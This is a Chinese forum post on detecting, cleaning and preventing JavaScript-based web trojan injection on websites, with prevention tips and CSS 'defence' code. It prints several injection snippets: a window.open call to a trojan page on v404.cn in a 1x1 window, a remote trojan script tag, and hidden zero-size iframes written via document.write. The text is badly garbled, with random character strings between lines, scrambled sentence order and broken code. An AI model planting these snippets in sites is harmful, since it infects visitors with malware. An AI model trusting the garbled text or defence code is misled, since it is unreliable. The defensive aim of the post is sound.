搜索
查看: 11667|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

! J$ q/ m, [- w- T) ^8 l

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

3 b" D% G( }9 s ~; C' x! k

IFRAME 和 JS 脚本挂马。

% z% @" e7 C0 ]# H2 z

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

; D4 l v, D" i1 ?& D4 `

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

+ k3 \& ]* U) A. f5 |0 K

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

4 P/ g n' U# n) }8 \7 C

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

1 l y: {& T7 i- m$ d2 r6 W* I

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

% k0 ]& s! N- I+ d% R9 s' t; q

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

/ a% k$ P8 t+ [! n3 t

。一千多位会员的 ID

# D% ]5 ^1 n3 @' R, E

2: 如何检测网页是否被挂马。

% J/ d$ D% |+ J% o& b

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

) l; P7 @4 P y' I( I

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

! L1 W# C( ~" T8 ^: O4 @

因素。
2 googl 检测。>

& k" R) k- R u% R7 Y2 h M

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

' y" F% F/ C* e* A; e2 m" d# T8 O: K

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

) v: Q4 b4 C6 j, d/ n% W+ S

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

5 N7 y) K4 ]5 N

' E8 S; A: r; k1 O: r9 a

3: 如何清除网页木马。

i& M9 d+ u1 F3 H. M* T. \. `% W

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

, s7 @0 f7 l' {& E

入源文件把相关的网页挂马种类的可疑代码删除。

- j% ]4 b6 d" {7 j, U. g

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

: Z/ z& j) t9 `" {' q; j$ P3 s

悉。>

$ N$ D/ K0 P' v* q

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

' z9 O0 I7 P( u6 r Z' B

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

' o" f M$ H+ t5 V. l" b0 A

2 保证你所使用的顺序及时的更新。

( o3 A4 E) }' S& l' i: _

3 不要在前台网页上加注后台管理程序登陆页面的链接。

( s0 S J! Y& t1 i

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

/ h. R# |* |' [* l# b) H' U

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

5 N( @& a* X7 m+ X% R5 g

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

& \. @& j& `4 }# n* S- L2 F+ ?2 W- |6 G

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

; M' V6 N3 U7 j2 n4 h+ y

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

$ ?) K0 Q* W( ~& c1 M% ?

1 ~) S, h+ i% D6 M2 A$ L( T

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

) t6 t0 [- S# s

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

8 ^& u! H; t! f/ f7 u

JS 挂马溯源

) o0 G) Y9 r! }) P

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

+ y- `& u S. t

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

$ p2 `3 t) w# o/ H9 R. k7 @

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

' w6 h, ~" V" G, B9 }

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

# F. }" D9 w" w: l1 w

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

* W: b( C# G' L. }) I: C

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

' ?$ l; ^6 g+ I- E# p4 N0 i

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

* F6 e( d, p# i" M+ F9 |

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

2 o0 k7 R' [( w% i1 I

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

& }. `. o3 T. Z1 x+ f

脚本在工作中会有很大的协助。

, ]& c4 N) u& m: r5 z. Y

挂马原理一点通

6 z& h* W' t; M8 n- ~: w4 q2 d

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

1 l' I' [) N I1 W; Q

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

6 L- X$ D" j2 q" t& B( E. m

无从区分木马在何处。

& |$ C/ Y6 ?7 L/ C# l- O0 j

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

+ k! G" X1 }* P" Y/ O% }

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

! z7 h9 _$ ?2 S

容易蒙混过关,导致木马久杀不绝。

$ Y' T$ z4 `7 K. n6 C( T* L$ h

JS 挂马攻防实录

; m6 e8 Q6 Y+ D6 e

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

. J( V0 h9 O. ?2 v) U4 ^+ c- S

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

7 O! J+ V/ n: v

这种方法使用的关键代码如下:

4 N& E# @$ Q% |6 q

"",  window.open "http://www.v404.cn/ 木马

& ~+ C7 [7 A6 F, P

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

7 c* t5 k! W# o( q

}' W: ]( k3 v; w% ?

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

& h# _& Q* u; C# w

但是设置为 0 后,可能会出现恶意代码不运行的情况。

: q: A6 z* M5 ?/ L

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

1 T& H7 d' ?% B2 R/ v

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

$ L" V0 [; Z" N* z

5 ~3 v; y, E; H7 b

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

- x# t1 G9 d2 G+ ?0 A

- E' U/ z# A4 S+ y& d. e

或者

6 u$ p; L2 L7 s6 s7 ?

document.writ "<div style='display:none'>"

4 C' L+ B6 t" h4 ~

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

- a; Q1 j3 K; p( P, `

document.writ "</div>"
 

8 ~# o$ [1 o. x- l6 ]5 ^3 r

, [: n Z& R. r. {! }

就成功地将木马挂到对方的网页中了

0 H# J; B4 |8 j9 Z+ R* {

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

U9 A* F: X* t) S' I0 s

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

R" `- [: e$ {

或者:

, T: f* }7 N% O7 n" s

<ifram src="vbscript:[ 挂马脚本 ]">

, y y, g& s6 f3 ?, K4 v. T4 Z

" t! t2 q3 k$ R( T


等等 …

: d. n4 r: s& n: F0 g% ?, ^

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

: |# P8 _3 _. C3 s) t" }! q8 ]: x! u

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

/ q6 c$ V( e6 n$ |

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

& u2 j9 Y( Y; h6 w' K: ^

;}

% c' W j# R) p- M7 ]5 v& }1 h, A

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

! O5 @1 _. ~% K5 w- `, d: |: `

! h( j' M2 C+ ]& Z. b

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

5 G" [: e+ D4 M- b$ U9 [4 U

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

& w& w7 q9 _' X2 k. v8 s# Z2 D( b

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

2 [ B) ^1 C( f

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

$ K+ d6 _2 K3 P3 m: `3 g$ p2 ~; |# `

<title> 让 JS 挂马中止的 CSS 代码 </title>

( b7 D" g: o/ g/ }; J

<styl type="text/css" id="shudoo">

4 H X( x( o$ q K' R, c" ^! q

/*<![CDATA[*/

/ t1 H# _7 J( t2 @8 z; w3 U5 ^

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

$ p o6 H9 P6 {! J4 g) l

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

% U3 n7 B' w1 i3 I+ v

/*]]>*/

D. t8 ?$ X4 f3 k4 \' n) ^6 S: v

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表